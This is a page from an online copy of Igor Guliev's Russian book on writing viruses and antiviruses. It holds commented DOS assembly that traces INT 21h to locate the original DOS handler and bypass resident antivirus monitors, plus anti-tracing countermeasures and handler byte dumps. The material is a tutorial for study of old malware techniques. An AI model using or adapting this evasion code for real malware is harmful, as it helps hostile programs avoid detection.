Категории
Самые читаемые
Лучшие книги » Компьютеры и Интернет » Прочая околокомпьтерная литература » Создаем вирус и антивирус - Игорь Гульев

Создаем вирус и антивирус - Игорь Гульев

Читать онлайн Создаем вирус и антивирус - Игорь Гульев

Шрифт:

-
+

Интервал:

-
+

Закладка:

Сделать
1 ... 10 11 12 13 14 15 16 17 18 ... 39
Перейти на страницу:

;Берем из таблицы векторов прерываний текущий адрес INT 01h

mov ax,3501h

int 21h

mov si,bx ;смещение сохраняем в регистре SI

mov di,es ;сегмент сохраняем в регистре DI

;Устанавливаем свой обработчик INT 01h

mov ax,2501h

mov dx,offset Int01

int 21h

;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET

;из INT 21h попасть на метку Next – помещаем в стек

;последовательно флаги, сегмент и смещение метки Next

pushf

push cs

mov ax,offset Next

push ax

;Начинаем трассировку INT 21h. Для этого нужно подготовить стек

;следующим образом: поместить в него флаги с включенным флагом

;трассировки, а также сегмент и смещение текущего обработчика

;INT 21h. Затем можно выполнить команду IRET – программа запустит

;текущий обработчик и считает из стека флаги (флаг трассировки

;во флаговом регистре включится, начнется трассировка. После

;каждой команды процессора будет запускаться INT 01h).

;Помещаем в стек флаги, включаем в них бит, соответствующий

;флагу трассировки TF. Для того, чтобы включить флаг

;трассировки TF, после сохранения флагов в стеке считаем их

;в регистр AX, в нем включим соответствующий бит, а затем

;сохраним регистр AX в стеке

pushf

pop ax

or ax,0100h

push ax

;Считаем из таблицы векторов прерываний текущий адрес INT 21h

mov ax,3521h

int 21h

;Сохраним в стеке сегмент, а затем и смещение текущего обработчика

push es

push bx

;Установим в регистре AH номер какой−либо безобидной функции

;(чтобы определение адреса обработчика DOS

;не сопровождалось разрушениями)

mov ah,0Bh

;Запускаем трассировку

cli

iret

;Обработчик INT 01h

Int01:

;При вызове обработчика в стеке находятся: значение регистра IP,

;значение регистра CS, флаги перед прерыванием.

;Адресуемся к стеку с помощью регистра BP,

;предварительно сохранив текущее значение BP

push bp

mov bp,sp

;Теперь в стеке находятся:

;SS:[BP] – BP

;SS:[BP+2] – IP

;SS:[BP+4] – CS

;SS:[BP+6] – флаги

;Проверяем флаг продолжения

cmp byte ptr cs:ContinueFlag,1

;Если флаг продолжения выключен, то выходим из трассировки

jne TraceOff

;Проверяем текущий адрес. Если сегмент меньше 300h,

;обработчик DOS достигнут, иначе – продолжаем трассировку

;и выходим из обработчика

cmp word ptr [bp+4],300h

jnc ExitFromInt

;Достигнут DOS – берем из стека адрес обработчика и сохраняем его

push bx

mov bx,[bp+2]

mov word ptr cs:O21,bx

mov bx,[bp+4]

mov word ptr cs:S21,bx

pop bx

;Заканчиваем обработку прерывания и дальнейшую трассировку

TraceOff:

;Устанавливаем в ноль бит, соответствующий TF,

;в копии регистра флагов в стеке

and word ptr [bp+6],0FEFFh

;Устанавливаем в ноль флаг продолжения

mov byte ptr cs:ContinueFlag,0

ExitFromInt:

pop bp

;Выходим из обработчика

iret

;Восстановление после трассировки

Next:

;Сбрасываем флаг продолжения

mov byte ptr ds:ContinueFlag,0

;Восстанавливаем прежнее значение вектора прерывания INT 01h

mov ax,2501h

mov dx,si

mov ds,di

int 21h

В настоящее время этот алгоритм можно считать несколько устаревшим. Дело в том, что современные версии DOS могут размещать свой обработчик в областях верхней памяти. Поэтому условие окончания трассировки должно выглядеть, например, так:

cmp word ptr [bp+4],300h

jb loc_65

cmp word ptr [bp+4],0F000h

ja loc_65

В качестве альтернативного варианта можно использовать такой прием. Сначала определяется исходный сегмент DOS при помощи недокументированной функции 52h прерывания INT 21h (возвращает адрес векторной таблицы связи DOS):

mov ah, 52h

int 21h

mov SegDOS, es

Тогда условие завершения трассировки можно оформить следующим образом:

push ax

mov ax, cs: SegDOS

cmp word ptr [bp+6], ax

pop ax

jz DOSIsGot

Разумеется, разные приемы могут дать разные результаты. Причем все результаты можно считать в той или иной мере корректными. Дело в том, что современные версии DOS, даже будучи загруженными в верхнюю память, всегда имеют точку входа в нижней памяти вида:

nop

nop

;Проверка состояния адресной линии A20

call Check_A20

;Переход в верхнюю память

jmp cs: dword ptr HI_DOS

С точки зрения обхода резидентных мониторов «правильным» следует признать адрес в обработчике DOS, имеющий максимальное значение. Мы еще вернемся к вопросу о нахождении «правильного» адреса далее. Авторы антивирусных мониторов знают о подобном приеме поиска оригинального адреса DOS. Достаточно легко испортит трассировку, например, вот такой вот фрагмент, встроенный в цепочку обработчиков:

;Вызываем обработчик прерывания INT 60h (до этого момента

;прерывание INT 60h должно быть перехвачено)

int 60h

;Сюда нужно вернуться из прерывания

nop

;Сюда реально вернемся, и флаг трассировки будет сброшен,

;то есть трассировка будет прекращена

nop...

;Обработчик прерывания. При вызове прерывания флаг трассировки

;сбрасывается – при входе в обработчик трассировка будет

выключена

Int60:

;Разрешение прерываний, так как при выходе из обработчика не

;будет восстанавливаться оригинальное значение регистра флагов

sti

;Увеличиваем на единицу адрес возврата в стеке

push bp

mov bp, sp

add [bp+2],1

pop bp

;Выходим из прерывания, но не командой IRET, а командой RETF 2,

;чтобы не восстанавливать флаги (и, как следствие,

;флаг трассировки TF)

retf 2

Кроме того, факт трассировки можно достаточно просто обнаружить, применив хорошо известный разработчикам защит от несанкционированного копирования прием аппаратного конвейера, который использует процессор для ускорения работы. При выполнении очередной команды процессор считывает код следующей. Когда придет время выполнения следующей команды, она будет уже считана из памяти, и не нужно будет тратить время на ее чтение. Прием заключается в модификации команд, которые уже оказались в конвейере: если трассировка не ведется, то код команд модифицируется только в памяти, а выполняется та программа, которая находится в конвейере. Если трассировка ведется, то конвейер сбрасывается перед каждой командой трассируемой программы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и выполняется модифицированный код.

;Модифицируем следующую команду. Команда JMP (безусловный

;переход) заменяется на две команды NOP (нет операции)

mov Metka, 9090h

;Переходим, если выполняется немодифицированный код (в случае,

;когда трассировка не ведется), и проходим дальше, если выполняется

;модифицированный код (в случае трассировки)

Metka: jmp NoTrace

Trace:

;Сюда попадем при выявленном факте трассировки

NoTrace:

;Трассировка не ведется – нормальное выполнение программы

Наконец, последний гвоздь в гроб идеи использования трассировки забит: «Выставленный флаг трассировки можно выявить косвенно, замаскировав аппаратные прерывания, поместив в [SP-1] контрольное значение и дав инструкцию STI. Тогда по изменению слова в стеке можно судить, было трассировочное прерывание или нет».

Выявив факт трассировки прерывания DOS, мониторы начинают выдавать об этом соответствующие сообщения, поэтому даже не самый опытный пользователь догадается, что кто-то (например, вирус) пытается попасть в систему.

Метод предопределенных адресов

Переходим к методу определения оригинального адреса точки входа в DOS, основанному на том, что эти адреса для разных версий и конфигураций DOS имеют в общем случае различные значения, но число их ограничено. А это значит, что их можно просто-напросто выбирать из таблицы (причем не очень большой). Прием не новый, но незаслуженно забытый.

Имея программу, основанную на одном из ранее описанных способов определения реального адреса обработчика DOS, загрузочные дискеты с разными версиями DOS и немного терпения, можно получить примерно вот такую информацию.

Оригинальный обработчик DOS версии 3.30 всегда имеет вид:

;Точка 0

2E CS:

891EB800 MOV [00B8],BX

2E CS:

8C06BA00 MOV [00BA],ES

CB RETF...

;Точка 1

2E CS:

3A26FF0D CMP AH,[0DFF]

77DC JA 1443

80FC51 CMP AH,51

74A1 JZ 140D

...

80FC64 CMP AH,64

74BA JZ 143A

;Точка 2

Оригинальные обработчики DOS версий 5.0–7.0 очень похожи. В общем случае они состоят из следующих фрагментов: Фрагмент 1 (если он присутствует) всегда располагается в нижних адресах памяти. Большинство алгоритмов трассировки заканчивают работу, достигнув этой точки. Для DOS версий 5.0–6.22 этот фрагмент присутствует, если в CONFIG.SYS есть строка DOS=HIGH (вне зависимости от того, осуществляется ли запуск поддерживающего эту опцию драйвера HIMEM.SYS). Если драйвера нет, то JMP FAR просто указывает на фрагмент 2, размещающийся в нижних областях памяти. Если строки DOS=HIGH нет, то фрагмент 1 вырожден (состоит из одной команды внутрисегментного перехода), и обработчик состоит из фрагмента 2.

;Точка 0

90 NOP

90 NOP

E8CC00 CALL CheckA20

2E CS:

FF2E6A10 J MP FAR NEXTDOS

Фрагмент 2 может располагаться как в верхних, так и в нижних адресах памяти.

;Точка 1

NEXTDOS:

FA CLI

80FC6C CMP AH,6C

77D2 JA 40D0...

80FC50 CMP AH,50

748E JZ 40A9

;Точка 2

Для DOS 7.0 структура обработчика, в общем, такая же. Исключение – фрагмент 1 присутствует всегда, вне зависимости от содержимого файла CONFIG.SYS. Теперь приведем конкретные значения адресов, полученные для разных случаев:

1 ... 10 11 12 13 14 15 16 17 18 ... 39
Перейти на страницу:
На этой странице вы можете бесплатно скачать Создаем вирус и антивирус - Игорь Гульев торрент бесплатно.
Комментарии